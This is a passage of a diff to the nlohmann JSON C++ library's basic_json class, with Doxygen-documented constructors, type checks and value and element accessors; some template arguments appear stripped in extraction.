m_value(std::move(other.m_value)) + { + // check that passed value is valid + other.assert_invariant(); + + // invalidate payload + other.m_type = value_t::null; + other.m_value = {}; + + assert_invariant(); + } + + /*! + @brief copy assignment + + Copy assignment operator. Copies a JSON value via the "copy and swap" + strategy: It is expressed in terms of the copy constructor, destructor, + and the swap() member function. + + @param[in] other value to copy from + + @complexity Linear. + + @requirement This function helps `basic_json` satisfying the + [Container](http://en.cppreference.com/w/cpp/concept/Container) + requirements: + - The complexity is linear. + + @liveexample{The code below shows and example for the copy assignment. It + creates a copy of value `a` which is then swapped with `b`. Finally\, the + copy of `a` (which is the null value after the swap) is + destroyed.,basic_json__copyassignment} + + @since version 1.0.0 + */ + reference& operator=(basic_json other) noexcept ( + std::is_nothrow_move_constructible::value and + std::is_nothrow_move_assignable::value and + std::is_nothrow_move_constructible::value and + std::is_nothrow_move_assignable::value + ) + { + // check that passed value is valid + other.assert_invariant(); + + using std::swap; + swap(m_type, other.m_type); + swap(m_value, other.m_value); + + assert_invariant(); + return *this; + } + + /*! + @brief destructor + + Destroys the JSON value and frees all allocated memory. + + @complexity Linear. + + @requirement This function helps `basic_json` satisfying the + [Container](http://en.cppreference.com/w/cpp/concept/Container) + requirements: + - The complexity is linear. + - All stored elements are destroyed and all memory is freed. + + @since version 1.0.0 + */ + ~basic_json() + { + assert_invariant(); + + switch (m_type) + { + case value_t::object: + { + AllocatorType alloc; + alloc.destroy(m_value.object); + alloc.deallocate(m_value.object, 1); + break; + } + + case value_t::array: + { + AllocatorType alloc; + alloc.destroy(m_value.array); + alloc.deallocate(m_value.array, 1); + break; + } + + case value_t::string: + { + AllocatorType alloc; + alloc.destroy(m_value.string); + alloc.deallocate(m_value.string, 1); + break; + } + + default: + { + // all other types need no specific destructor + break; + } + } + } + + /// @} + + public: + /////////////////////// + // object inspection // + /////////////////////// + + /// @name object inspection + /// Functions to inspect the type of a JSON value. + /// @{ + + /*! + @brief serialization + + Serialization function for JSON values. The function tries to mimic + Python's `json.dumps()` function, and currently supports its @a indent + parameter. + + @param[in] indent If indent is nonnegative, then array elements and object + members will be pretty-printed with that indent level. An indent level of + `0` will only insert newlines. `-1` (the default) selects the most compact + representation. + + @return string containing the serialization of the JSON value + + @complexity Linear. + + @liveexample{The following example shows the effect of different @a indent + parameters to the result of the serialization.,dump} + + @see https://docs.python.org/2/library/json.html#json.dump + + @since version 1.0.0 + */ + string_t dump(const int indent = -1) const + { + std::stringstream ss; + + if (indent >= 0) + { + dump(ss, true, static_cast(indent)); + } + else + { + dump(ss, false, 0); + } + + return ss.str(); + } + + /*! + @brief return the type of the JSON value (explicit) + + Return the type of the JSON value as a value from the @ref value_t + enumeration. + + @return the type of the JSON value + + @complexity Constant. + + @exceptionsafety No-throw guarantee: this member function never throws + exceptions. + + @liveexample{The following code exemplifies `type()` for all JSON + types.,type} + + @since version 1.0.0 + */ + constexpr value_t type() const noexcept + { + return m_type; + } + + /*! + @brief return whether type is primitive + + This function returns true iff the JSON type is primitive (string, number, + boolean, or null). + + @return `true` if type is primitive (string, number, boolean, or null), + `false` otherwise. + + @complexity Constant. + + @exceptionsafety No-throw guarantee: this member function never throws + exceptions. + + @liveexample{The following code exemplifies `is_primitive()` for all JSON + types.,is_primitive} + + @sa @ref is_structured() -- returns whether JSON value is structured + @sa @ref is_null() -- returns whether JSON value is `null` + @sa @ref is_string() -- returns whether JSON value is a string + @sa @ref is_boolean() -- returns whether JSON value is a boolean + @sa @ref is_number() -- returns whether JSON value is a number + + @since version 1.0.0 + */ + constexpr bool is_primitive() const noexcept + { + return is_null() or is_string() or is_boolean() or is_number(); + } + + /*! + @brief return whether type is structured + + This function returns true iff the JSON type is structured (array or + object). + + @return `true` if type is structured (array or object), `false` otherwise. + + @complexity Constant. + + @exceptionsafety No-throw guarantee: this member function never throws + exceptions. + + @liveexample{The following code exemplifies `is_structured()` for all JSON + types.,is_structured} + + @sa @ref is_primitive() -- returns whether value is primitive + @sa @ref is_array() -- returns whether value is an array + @sa @ref is_object() -- returns whether value is an object + + @since version 1.0.0 + */ + constexpr bool is_structured() const noexcept + { + return is_array() or is_object(); + } + + /*! + @brief return whether value is null + + This function returns true iff the JSON value is null. + + @return `true` if type is null, `false` otherwise. + + @complexity Constant. + + @exceptionsafety No-throw guarantee: this member function never throws + exceptions. + + @liveexample{The following code exemplifies `is_null()` for all JSON + types.,is_null} + + @since version 1.0.0 + */ + constexpr bool is_null() const noexcept + { + return m_type == value_t::null; + } + + /*! + @brief return whether value is a boolean + + This function returns true iff the JSON value is a boolean. + + @return `true` if type is boolean, `false` otherwise. + + @complexity Constant. + + @exceptionsafety No-throw guarantee: this member function never throws + exceptions. + + @liveexample{The following code exemplifies `is_boolean()` for all JSON + types.,is_boolean} + + @since version 1.0.0 + */ + constexpr bool is_boolean() const noexcept + { + return m_type == value_t::boolean; + } + + /*! + @brief return whether value is a number + + This function returns true iff the JSON value is a number. This includes + both integer and floating-point values. + + @return `true` if type is number (regardless whether integer, unsigned + integer or floating-type), `false` otherwise. + + @complexity Constant. + + @exceptionsafety No-throw guarantee: this member function never throws + exceptions. + + @liveexample{The following code exemplifies `is_number()` for all JSON + types.,is_number} + + @sa @ref is_number_integer() -- check if value is an integer or unsigned + integer number + @sa @ref is_number_unsigned() -- check if value is an unsigned integer + number + @sa @ref is_number_float() -- check if value is a floating-point number + + @since version 1.0.0 + */ + constexpr bool is_number() const noexcept + { + return is_number_integer() or is_number_float(); + } + + /*! + @brief return whether value is an integer number + + This function returns true iff the JSON value is an integer or unsigned + integer number. This excludes floating-point values. + + @return `true` if type is an integer or unsigned integer number, `false` + otherwise. + + @complexity Constant. + + @exceptionsafety No-throw guarantee: this member function never throws + exceptions. + + @liveexample{The following code exemplifies `is_number_integer()` for all + JSON types.,is_number_integer} + + @sa @ref is_number() -- check if value is a number + @sa @ref is_number_unsigned() -- check if value is an unsigned integer + number + @sa @ref is_number_float() -- check if value is a floating-point number + + @since version 1.0.0 + */ + constexpr bool is_number_integer() const noexcept + { + return m_type == value_t::number_integer or m_type == value_t::number_unsigned; + } + + /*! + @brief return whether value is an unsigned integer number + + This function returns true iff the JSON value is an unsigned integer + number. This excludes floating-point and (signed) integer values. + + @return `true` if type is an unsigned integer number, `false` otherwise. + + @complexity Constant. + + @exceptionsafety No-throw guarantee: this member function never throws + exceptions. + + @liveexample{The following code exemplifies `is_number_unsigned()` for all + JSON types.,is_number_unsigned} + + @sa @ref is_number() -- check if value is a number + @sa @ref is_number_integer() -- check if value is an integer or unsigned + integer number + @sa @ref is_number_float() -- check if value is a floating-point number + + @since version 2.0.0 + */ + constexpr bool is_number_unsigned() const noexcept + { + return m_type == value_t::number_unsigned; + } + + /*! + @brief return whether value is a floating-point number + + This function returns true iff the JSON value is a floating-point number. + This excludes integer and unsigned integer values. + + @return `true` if type is a floating-point number, `false` otherwise. + + @complexity Constant. + + @exceptionsafety No-throw guarantee: this member function never throws + exceptions. + + @liveexample{The following code exemplifies `is_number_float()` for all + JSON types.,is_number_float} + + @sa @ref is_number() -- check if value is number + @sa @ref is_number_integer() -- check if value is an integer number + @sa @ref is_number_unsigned() -- check if value is an unsigned integer + number + + @since version 1.0.0 + */ + constexpr bool is_number_float() const noexcept + { + return m_type == value_t::number_float; + } + + /*! + @brief return whether value is an object + + This function returns true iff the JSON value is an object. + + @return `true` if type is object, `false` otherwise. + + @complexity Constant. + + @exceptionsafety No-throw guarantee: this member function never throws + exceptions. + + @liveexample{The following code exemplifies `is_object()` for all JSON + types.,is_object} + + @since version 1.0.0 + */ + constexpr bool is_object() const noexcept + { + return m_type == value_t::object; + } + + /*! + @brief return whether value is an array + + This function returns true iff the JSON value is an array. + + @return `true` if type is array, `false` otherwise. + + @complexity Constant. + + @exceptionsafety No-throw guarantee: this member function never throws + exceptions. + + @liveexample{The following code exemplifies `is_array()` for all JSON + types.,is_array} + + @since version 1.0.0 + */ + constexpr bool is_array() const noexcept + { + return m_type == value_t::array; + } + + /*! + @brief return whether value is a string + + This function returns true iff the JSON value is a string. + + @return `true` if type is string, `false` otherwise. + + @complexity Constant. + + @exceptionsafety No-throw guarantee: this member function never throws + exceptions. + + @liveexample{The following code exemplifies `is_string()` for all JSON + types.,is_string} + + @since version 1.0.0 + */ + constexpr bool is_string() const noexcept + { + return m_type == value_t::string; + } + + /*! + @brief return whether value is discarded + + This function returns true iff the JSON value was discarded during parsing + with a callback function (see @ref parser_callback_t). + + @note This function will always be `false` for JSON values after parsing. + That is, discarded values can only occur during parsing, but will be + removed when inside a structured value or replaced by null in other cases. + + @return `true` if type is discarded, `false` otherwise. + + @complexity Constant. + + @exceptionsafety No-throw guarantee: this member function never throws + exceptions. + + @liveexample{The following code exemplifies `is_discarded()` for all JSON + types.,is_discarded} + + @since version 1.0.0 + */ + constexpr bool is_discarded() const noexcept + { + return m_type == value_t::discarded; + } + + /*! + @brief return the type of the JSON value (implicit) + + Implicitly return the type of the JSON value as a value from the @ref + value_t enumeration. + + @return the type of the JSON value + + @complexity Constant. + + @exceptionsafety No-throw guarantee: this member function never throws + exceptions. + + @liveexample{The following code exemplifies the @ref value_t operator for + all JSON types.,operator__value_t} + + @since version 1.0.0 + */ + constexpr operator value_t() const noexcept + { + return m_type; + } + + /// @} + + private: + ////////////////// + // value access // + ////////////////// + + /// get a boolean (explicit) + boolean_t get_impl(boolean_t* /*unused*/) const + { + if (is_boolean()) + { + return m_value.boolean; + } + + JSON_THROW(std::domain_error("type must be boolean, but is " + type_name())); + } + + /// get a pointer to the value (object) + object_t* get_impl_ptr(object_t* /*unused*/) noexcept + { + return is_object() ? m_value.object : nullptr; + } + + /// get a pointer to the value (object) + constexpr const object_t* get_impl_ptr(const object_t* /*unused*/) const noexcept + { + return is_object() ? m_value.object : nullptr; + } + + /// get a pointer to the value (array) + array_t* get_impl_ptr(array_t* /*unused*/) noexcept + { + return is_array() ? m_value.array : nullptr; + } + + /// get a pointer to the value (array) + constexpr const array_t* get_impl_ptr(const array_t* /*unused*/) const noexcept + { + return is_array() ? m_value.array : nullptr; + } + + /// get a pointer to the value (string) + string_t* get_impl_ptr(string_t* /*unused*/) noexcept + { + return is_string() ? m_value.string : nullptr; + } + + /// get a pointer to the value (string) + constexpr const string_t* get_impl_ptr(const string_t* /*unused*/) const noexcept + { + return is_string() ? m_value.string : nullptr; + } + + /// get a pointer to the value (boolean) + boolean_t* get_impl_ptr(boolean_t* /*unused*/) noexcept + { + return is_boolean() ? &m_value.boolean : nullptr; + } + + /// get a pointer to the value (boolean) + constexpr const boolean_t* get_impl_ptr(const boolean_t* /*unused*/) const noexcept + { + return is_boolean() ? &m_value.boolean : nullptr; + } + + /// get a pointer to the value (integer number) + number_integer_t* get_impl_ptr(number_integer_t* /*unused*/) noexcept + { + return is_number_integer() ? &m_value.number_integer : nullptr; + } + + /// get a pointer to the value (integer number) + constexpr const number_integer_t* get_impl_ptr(const number_integer_t* /*unused*/) const noexcept + { + return is_number_integer() ? &m_value.number_integer : nullptr; + } + + /// get a pointer to the value (unsigned number) + number_unsigned_t* get_impl_ptr(number_unsigned_t* /*unused*/) noexcept + { + return is_number_unsigned() ? &m_value.number_unsigned : nullptr; + } + + /// get a pointer to the value (unsigned number) + constexpr const number_unsigned_t* get_impl_ptr(const number_unsigned_t* /*unused*/) const noexcept + { + return is_number_unsigned() ? &m_value.number_unsigned : nullptr; + } + + /// get a pointer to the value (floating-point number) + number_float_t* get_impl_ptr(number_float_t* /*unused*/) noexcept + { + return is_number_float() ? &m_value.number_float : nullptr; + } + + /// get a pointer to the value (floating-point number) + constexpr const number_float_t* get_impl_ptr(const number_float_t* /*unused*/) const noexcept + { + return is_number_float() ? &m_value.number_float : nullptr; + } + + /*! + @brief helper function to implement get_ref() + + This funcion helps to implement get_ref() without code duplication for + const and non-const overloads + + @tparam ThisType will be deduced as `basic_json` or `const basic_json` + + @throw std::domain_error if ReferenceType does not match underlying value + type of the current JSON + */ + template + static ReferenceType get_ref_impl(ThisType& obj) + { + // helper type + using PointerType = typename std::add_pointer::type; + + // delegate the call to get_ptr<>() + auto ptr = obj.template get_ptr(); + + if (ptr != nullptr) + { + return *ptr; + } + + JSON_THROW(std::domain_error("incompatible ReferenceType for get_ref, actual type is " + + obj.type_name())); + } + + public: + /// @name value access + /// Direct access to the stored value of a JSON value. + /// @{ + + /*! + @brief get special-case overload + + This overloads avoids a lot of template boilerplate, it can be seen as the + identity method + + @tparam BasicJsonType == @ref basic_json + + @return a copy of *this + + @complexity Constant. + + @since version 2.1.0 + */ + template < + typename BasicJsonType, + detail::enable_if_t::type, + basic_json_t>::value, + int> = 0 > + basic_json get() const + { + return *this; + } + + /*! + @brief get a value (explicit) + + Explicit type conversion between the JSON value and a compatible value + which is [CopyConstructible](http://en.cppreference.com/w/cpp/concept/CopyConstructible) + and [DefaultConstructible](http://en.cppreference.com/w/cpp/concept/DefaultConstructible). + The value is converted by calling the @ref json_serializer + `from_json()` method. + + The function is equivalent to executing + @code {.cpp} + ValueType ret; + JSONSerializer::from_json(*this, ret); + return ret; + @endcode + + This overloads is chosen if: + - @a ValueType is not @ref basic_json, + - @ref json_serializer has a `from_json()` method of the form + `void from_json(const @ref basic_json&, ValueType&)`, and + - @ref json_serializer does not have a `from_json()` method of + the form `ValueType from_json(const @ref basic_json&)` + + @tparam ValueTypeCV the provided value type + @tparam ValueType the returned value type + + @return copy of the JSON value, converted to @a ValueType + + @throw what @ref json_serializer `from_json()` method throws + + @liveexample{The example below shows several conversions from JSON values + to other types. There a few things to note: (1) Floating-point numbers can + be converted to integers\, (2) A JSON array can be converted to a standard + `std::vector`\, (3) A JSON object can be converted to C++ + associative containers such as `std::unordered_map`.,get__ValueType_const} + + @since version 2.1.0 + */ + template < + typename ValueTypeCV, + typename ValueType = detail::uncvref_t, + detail::enable_if_t < + not std::is_same::value and + detail::has_from_json::value and + not detail::has_non_default_from_json::value, + int > = 0 > + ValueType get() const noexcept(noexcept( + JSONSerializer::from_json(std::declval(), std::declval()))) + { + // we cannot static_assert on ValueTypeCV being non-const, because + // there is support for get(), which is why we + // still need the uncvref + static_assert(not std::is_reference::value, + "get() cannot be used with reference types, you might want to use get_ref()"); + static_assert(std::is_default_constructible::value, + "types must be DefaultConstructible when used with get()"); + + ValueType ret; + JSONSerializer::from_json(*this, ret); + return ret; + } + + /*! + @brief get a value (explicit); special case + + Explicit type conversion between the JSON value and a compatible value + which is **not** [CopyConstructible](http://en.cppreference.com/w/cpp/concept/CopyConstructible) + and **not** [DefaultConstructible](http://en.cppreference.com/w/cpp/concept/DefaultConstructible). + The value is converted by calling the @ref json_serializer + `from_json()` method. + + The function is equivalent to executing + @code {.cpp} + return JSONSerializer::from_json(*this); + @endcode + + This overloads is chosen if: + - @a ValueType is not @ref basic_json and + - @ref json_serializer has a `from_json()` method of the form + `ValueType from_json(const @ref basic_json&)` + + @note If @ref json_serializer has both overloads of + `from_json()`, this one is chosen. + + @tparam ValueTypeCV the provided value type + @tparam ValueType the returned value type + + @return copy of the JSON value, converted to @a ValueType + + @throw what @ref json_serializer `from_json()` method throws + + @since version 2.1.0 + */ + template < + typename ValueTypeCV, + typename ValueType = detail::uncvref_t, + detail::enable_if_t::value and + detail::has_non_default_from_json::value, int> = 0 > + ValueType get() const noexcept(noexcept( + JSONSerializer::from_json(std::declval()))) + { + static_assert(not std::is_reference::value, + "get() cannot be used with reference types, you might want to use get_ref()"); + return JSONSerializer::from_json(*this); + } + + /*! + @brief get a pointer value (explicit) + + Explicit pointer access to the internally stored JSON value. No copies are + made. + + @warning The pointer becomes invalid if the underlying JSON object + changes. + + @tparam PointerType pointer type; must be a pointer to @ref array_t, @ref + object_t, @ref string_t, @ref boolean_t, @ref number_integer_t, + @ref number_unsigned_t, or @ref number_float_t. + + @return pointer to the internally stored JSON value if the requested + pointer type @a PointerType fits to the JSON value; `nullptr` otherwise + + @complexity Constant. + + @liveexample{The example below shows how pointers to internal values of a + JSON value can be requested. Note that no type conversions are made and a + `nullptr` is returned if the value and the requested pointer type does not + match.,get__PointerType} + + @sa @ref get_ptr() for explicit pointer-member access + + @since version 1.0.0 + */ + template::value, int>::type = 0> + PointerType get() noexcept + { + // delegate the call to get_ptr + return get_ptr(); + } + + /*! + @brief get a pointer value (explicit) + @copydoc get() + */ + template::value, int>::type = 0> + constexpr const PointerType get() const noexcept + { + // delegate the call to get_ptr + return get_ptr(); + } + + /*! + @brief get a pointer value (implicit) + + Implicit pointer access to the internally stored JSON value. No copies are + made. + + @warning Writing data to the pointee of the result yields an undefined + state. + + @tparam PointerType pointer type; must be a pointer to @ref array_t, @ref + object_t, @ref string_t, @ref boolean_t, @ref number_integer_t, + @ref number_unsigned_t, or @ref number_float_t. Enforced by a static + assertion. + + @return pointer to the internally stored JSON value if the requested + pointer type @a PointerType fits to the JSON value; `nullptr` otherwise + + @complexity Constant. + + @liveexample{The example below shows how pointers to internal values of a + JSON value can be requested. Note that no type conversions are made and a + `nullptr` is returned if the value and the requested pointer type does not + match.,get_ptr} + + @since version 1.0.0 + */ + template::value, int>::type = 0> + PointerType get_ptr() noexcept + { + // get the type of the PointerType (remove pointer and const) + using pointee_t = typename std::remove_const::type>::type>::type; + // make sure the type matches the allowed types + static_assert( + std::is_same::value + or std::is_same::value + or std::is_same::value + or std::is_same::value + or std::is_same::value + or std::is_same::value + or std::is_same::value + , "incompatible pointer type"); + + // delegate the call to get_impl_ptr<>() + return get_impl_ptr(static_cast(nullptr)); + } + + /*! + @brief get a pointer value (implicit) + @copydoc get_ptr() + */ + template::value and + std::is_const::type>::value, int>::type = 0> + constexpr const PointerType get_ptr() const noexcept + { + // get the type of the PointerType (remove pointer and const) + using pointee_t = typename std::remove_const::type>::type>::type; + // make sure the type matches the allowed types + static_assert( + std::is_same::value + or std::is_same::value + or std::is_same::value + or std::is_same::value + or std::is_same::value + or std::is_same::value + or std::is_same::value + , "incompatible pointer type"); + + // delegate the call to get_impl_ptr<>() const + return get_impl_ptr(static_cast(nullptr)); + } + + /*! + @brief get a reference value (implicit) + + Implicit reference access to the internally stored JSON value. No copies + are made. + + @warning Writing data to the referee of the result yields an undefined + state. + + @tparam ReferenceType reference type; must be a reference to @ref array_t, + @ref object_t, @ref string_t, @ref boolean_t, @ref number_integer_t, or + @ref number_float_t. Enforced by static assertion. + + @return reference to the internally stored JSON value if the requested + reference type @a ReferenceType fits to the JSON value; throws + std::domain_error otherwise + + @throw std::domain_error in case passed type @a ReferenceType is + incompatible with the stored JSON value + + @complexity Constant. + + @liveexample{The example shows several calls to `get_ref()`.,get_ref} + + @since version 1.1.0 + */ + template::value, int>::type = 0> + ReferenceType get_ref() + { + // delegate call to get_ref_impl + return get_ref_impl(*this); + } + + /*! + @brief get a reference value (implicit) + @copydoc get_ref() + */ + template::value and + std::is_const::type>::value, int>::type = 0> + ReferenceType get_ref() const + { + // delegate call to get_ref_impl + return get_ref_impl(*this); + } + + /*! + @brief get a value (implicit) + + Implicit type conversion between the JSON value and a compatible value. + The call is realized by calling @ref get() const. + + @tparam ValueType non-pointer type compatible to the JSON value, for + instance `int` for JSON integer numbers, `bool` for JSON booleans, or + `std::vector` types for JSON arrays. The character type of @ref string_t + as well as an initializer list of this type is excluded to avoid + ambiguities as these types implicitly convert to `std::string`. + + @return copy of the JSON value, converted to type @a ValueType + + @throw std::domain_error in case passed type @a ValueType is incompatible + to JSON, thrown by @ref get() const + + @complexity Linear in the size of the JSON value. + + @liveexample{The example below shows several conversions from JSON values + to other types. There a few things to note: (1) Floating-point numbers can + be converted to integers\, (2) A JSON array can be converted to a standard + `std::vector`\, (3) A JSON object can be converted to C++ + associative containers such as `std::unordered_map`.,operator__ValueType} + + @since version 1.0.0 + */ + template < typename ValueType, typename std::enable_if < + not std::is_pointer::value and + not std::is_same::value +#ifndef _MSC_VER // fix for issue #167 operator<< ambiguity under VS2015 + and not std::is_same>::value +#endif + , int >::type = 0 > + operator ValueType() const + { + // delegate the call to get<>() const + return get(); + } + + /// @} + + + //////////////////// + // element access // + //////////////////// + + /// @name element access + /// Access to the JSON value. + /// @{ + + /*! + @brief access specified array element with bounds checking + + Returns a reference to the element at specified location @a idx, with + bounds checking. + + @param[in] idx index of the element to access + + @return reference to the element at index @a idx + + @throw std::domain_error if the JSON value is not an array; example: + `"cannot use at() with string"` + @throw std::out_of_range if the index @a idx is out of range of the array; + that is, `idx >= size()`; example: `"array index 7 is out of range"` + + @complexity Constant. + + @liveexample{The example below shows how array elements can be read and + written using `at()`.,at__size_type} + + @since version 1.0.0 + */ + reference at(size_type idx) + { + // at only works for arrays + if (is_array()) + { + JSON_TRY + { + return m_value.array->at(idx); + } + JSON_CATCH (std::out_of_range&) + { + // create better exception explanation + JSON_THROW(std::out_of_range("array index " + std::to_string(idx) + " is out of range")); + } + } + else + { + JSON_THROW(std::domain_error("cannot use at() with " + type_name())); + } + } + + /*! + @brief access specified array element with bounds checking + + Returns a const reference to the element at specified location @a idx, + with bounds checking. + + @param[in] idx index of the element to access + + @return const reference to the element at index @a idx + + @throw std::domain_error if the JSON value is not an array; example: + `"cannot use at() with string"` + @throw std::out_of_range if the index @a idx is out of range of the array; + that is, `idx >= size()`; example: `"array index 7 is out of range"` + + @complexity Constant. + + @liveexample{The example below shows how array elements can be read using + `at()`.,at__size_type_const} + + @since version 1.0.0 + */ + const_reference at(size_type idx) const + { + // at only works for arrays + if (is_array()) + { + JSON_TRY + { + return m_value.array->at(idx); + } + JSON_CATCH (std::out_of_range&) + { + // create better exception explanation + JSON_THROW(std::out_of_range("array index " + std::to_string(idx) + " is out of range")); + } + } + else + { + JSON_THROW(std::domain_error("cannot use at() with " + type_name())); + } + } + + /*! + @brief access specified object element with bounds checking + + Returns a reference to the element at with specified key @a key, with + bounds checking. + + @param[in] key key of the element to access + + @return reference to the element at key @a key + + @throw std::domain_error if the JSON value is not an object; example: + `"cannot use at() with boolean"` + @throw std::out_of_range if the key @a key is is not stored in the object; + that is, `find(key) == end()`; example: `"key "the fast" not found"` + + @complexity Logarithmic in the size of the container. + + @liveexample{The example below shows how object elements can be read and + written using `at()`.,at__object_t_key_type} + + @sa @ref operator[](const typename object_t::key_type&) for unchecked + access by reference + @sa @ref value() for access by value with a default value + + @since version 1.0.0 + */ + reference at(const typename object_t::key_type& key) + { + // at only works for objects + if (is_object()) + { + JSON_TRY + { + return m_value.object->at(key); + } + JSON_CATCH (std::out_of_range&) + { + // create better exception explanation + JSON_THROW(std::out_of_range("key '" + key + "' not found")); + } + } + else + { + JSON_THROW(std::domain_error("cannot use at() with " + type_name())); + } + } + + /*! + @brief access specified object element with bounds checking + + Returns a const reference to the element at with specified key @a key, + with bounds checking. + + @param[in] key key of the element to access + + @return const reference to the element at key @a key + + @throw std::domain_error if the JSON value is not an object; example: + `"cannot use at() with boolean"` + @throw std::out_of_range if the key @a key is is not stored in the object; + that is, `find(key) == end()`; example: `"key "the fast" not found"` + + @complexity Logarithmic in the size of the container. + + @liveexample{The example below shows how object elements can be read using + `at()`.,at__object_t_key_type_const} + + @sa @ref operator[](const typename object_t::key_type&) for unchecked + access by reference + @sa @ref value() for access by value with a default value + + @since version 1.0.0 + */ + const_reference at(const typename object_t::key_type& key) const + { + // at only works for objects + if (is_object()) + { + JSON_TRY + { + return m_value.object->at(key); + } + JSON_CATCH (std::out_of_range&) + { + // create better exception explanation + JSON_THROW(std::out_of_range("key '" + key + "' not found")); + } + } + else + { + JSON_THROW(std::domain_error("cannot use at() with " + type_name())); + } + } + + /*! + @brief access specified array element + + Returns a reference to the element at specified location @a idx. + + @note If @a idx is beyond the range of the array (i.e., `idx >= size()`), + then the array is silently filled up with `null` values to make `idx` a + valid reference to the last stored element. + + @param[in] idx index of the element to access + + @return reference to the element at index @a idx + + @throw std::domain_error if JSON is not an array or null; example: + `"cannot use operator[] with string"` + + @complexity Constant if @a idx is in the range of the array. Otherwise + linear in `idx - size()`. + + @liveexample{The example below shows how array elements can be read and + written using `[]` operator. Note the addition of `null` + values.,operatorarray__size_type} + + @since version 1.0.0 + */ + reference operator[](size_type idx) + { + // implicitly convert null value to an empty array + if (is_null()) + { + m_type = value_t::array; + m_value.array = create(); + assert_invariant(); + } + + // operator[] only works for arrays + if (is_array()) + { + // fill up array with null values if given idx is outside range + if (idx >= m_value.array->size()) + { + m_value.array->insert(m_value.array->end(), + idx - m_value.array->size() + 1, + basic_json()); + } + + return m_value.array->operator[](idx); + } + + JSON_THROW(std::domain_error("cannot use operator[] with " + type_name())); + } + + /*! + @brief access specified array element + + Returns a const reference to the element at specified location @a idx. + + @param[in] idx index of the element to access + + @return const reference to the element at index @a idx + + @throw std::domain_error if JSON is not an array; example: `"cannot use + operator[] with null"` + + @complexity Constant. + + @liveexample{The example below shows how array elements can be read using + the `[]` operator.,operatorarray__size_type_const} + + @since version 1.0.0 + */ + const_reference operator[](size_type idx) const + { + // const operator[] only works for arrays + if (is_array()) + { + return m_value.array->operator[](idx); + } + + JSON_THROW(std::domain_error("cannot use operator[] with " + type_name())); + } + + /*! + @brief access specified object element + + Returns a reference to the element at with specified key @a key. + + @note If @a key is not found in the object, then it is silently added to + the object and filled with a `null` value to make `key` a valid reference. + In case the value was `null` before, it is converted to an object. + + @param[in] key key of the element to access + + @return reference to the element at key @a key + + @throw std::domain_error if JSON is not an object or null; example: + `"cannot use operator[] with string"` + + @complexity Logarithmic in the size of the container. + + @liveexample{The example below shows how object elements can be read and + written using the `[]` operator.,operatorarray__key_type} + + @sa @ref at(const typename object_t::key_type&) for access by reference + with range checking + @sa @ref value() for access by value with a default value + + @since version 1.0.0 + */ + reference operator[](const typename object_t::key_type& key) + { + // implicitly convert null value to an empty object + if (is_null()) + { + m_type = value_t::object; + m_value.object = create(); + assert_invariant(); + } + + // operator[] only works for objects + if (is_object()) + { + return m_value.object->operator[](key); + } + + JSON_THROW(std::domain_error("cannot use operator[] with " + type_name())); + } + + /*! + @brief read-only access specified object element + + Returns a const reference to the element at with specified key @a key. No + bounds checking is performed. + + @warning If the element with key @a key does not exist, the behavior is + undefined. + + @param[in] key key of the element to access + + @return const reference to the element at key @a key + + @pre The element with key @a key must exist. **This precondition is + enforced with an assertion.** + + @throw std::domain_error if JSON is not an object; example: `"cannot use + operator[] with null"` + + @complexity Logarithmic in the size of the container. + + @liveexample{The example below shows how object elements can be read using + the `[]` operator.,operatorarray__key_type_const} + + @sa @ref at(const typename object_t::key_type&) for access by reference + with range checking + @sa @ref value() for access by value with a default value + + @since version 1.0.0 + */ + const_reference operator[](const typename object_t::key_type& key) const + { + // const operator[] only works for objects + if (is_object()) + { + assert(m_value.object->find(key) != m_value.object->end()); + return m_value.object->find(key)->second; + } + + JSON_THROW(std::domain_error("cannot use operator[] with " + type_name())); + } + + /*! + @brief access specified object element + + Returns a reference to the element at with specified key @a key. + + @note If @a key is not found in the object, then it is silently added to + the object and filled with a `null` value to make `key` a valid reference. + In case the value was `null` before, it is converted to an object. + + @param[in] key key of the element to access + + @return reference to the element at key @a key + + @throw std::domain_error if JSON is not an object or null; example: + `"cannot use operator[] with string"` + + @complexity Logarithmic in the size of the container. + + @liveexample{The example below shows how object elements can be read and + written using the `[]` operator.,operatorarray__key_type} + + @sa @ref at(const typename object_t::key_type&) for access by reference + with range checking + @sa @ref value() for access by value with a default value + + @since version 1.0.0 + */ + template + reference operator[](T * (&key)[n]) + { + return operator[](static_cast(key)); + } + + /*! + @brief read-only access specified object element + + Returns a const reference to the element at with specified key @a key. No + bounds checking is performed. + + @warning If the element with key @a key does not exist, the behavior is + undefined. + + @note This function is required for compatibility reasons with Clang. + + @param[in] key key of the element to access + + @return const reference to the element at key @a key + + @throw std::domain_error if JSON is not an object; example: `"cannot use + operator[] with null"` + + @complexity Logarithmic in the size of the container. + + @liveexample{The example below shows how object elements can be read using + the `[]` operator.,operatorarray__key_type_const} + + @sa @ref at(const typename object_t::key_type&) for access by reference + with range checking + @sa @ref value() for access by value with a default value + + @since version 1.0.0 + */ + template + const_reference operator[](T * (&key)[n]) const + { + return operator[](static_cast(key)); + } + + /*! + @brief access specified object element + + Returns a reference to the element at with specified key @a key. + + @note If @a key is not found in the object, then it is silently added to + the object and filled with a `null` value to make `key` a valid reference. + In case the value was `null` before, it is converted to an object. + + @param[in] key key of the element to access + + @return reference to the element at key @a key + + @throw std::domain_error if JSON is not an object or null; example: + `"cannot use operator[] with string"` + + @complexity Logarithmic in the size of the container. + + @liveexample{The example below shows how object elements can be read and + written using the `[]` operator.,operatorarray__key_type} + + @sa @ref at(const typename object_t::key_type&) for access by reference + with range checking + @sa @ref value() for access by value with a default value + + @since version 1.1.0 + */ + template + reference operator[](T* key) + { + // implicitly convert null to object + if (is_null()) + { + m_type = value_t::object; + m_value = value_t::object; + assert_invariant(); + } + + // at only works for objects + if (is_object()) + { + return m_value.object->operator[](key); + } + + JSON_THROW(std::domain_error("cannot use operator[] with " + type_name())); + } + + /*! + @brief read-only access specified object element + + Returns a const reference to the element at with specified key @a key. No + bounds checking is performed. + + @warning If the element with key @a key does not exist, the behavior is + undefined. + + @param[in] key key of the element to access + + @return const reference to the element at key @a key + + @pre The element with key @a key must exist. **This precondition is + enforced with an assertion.** + + @throw std::domain_error if JSON is not an object; example: `"cannot use + operator[] with null"` + + @complexity Logarithmic in the size of the container. + + @liveexample{The example below shows how object elements can be read using + the `[]` operator.,operatorarray__key_type_const} + + @sa @ref at(const typename object_t::key_type&) for access by reference + with range checking + @sa @ref value() for access by value with a default value + + @since version 1.1.0 + */ + template + const_reference operator[](T* key) const + { + // at only works for objects + if (is_object()) + { + assert(m_value.object->find(key) != m_value.object->end()); + return m_value.object->find(key)->second; + } + + JSON_THROW(std::domain_error("cannot use operator[] with " + type_name())); + } + + /*! + @brief 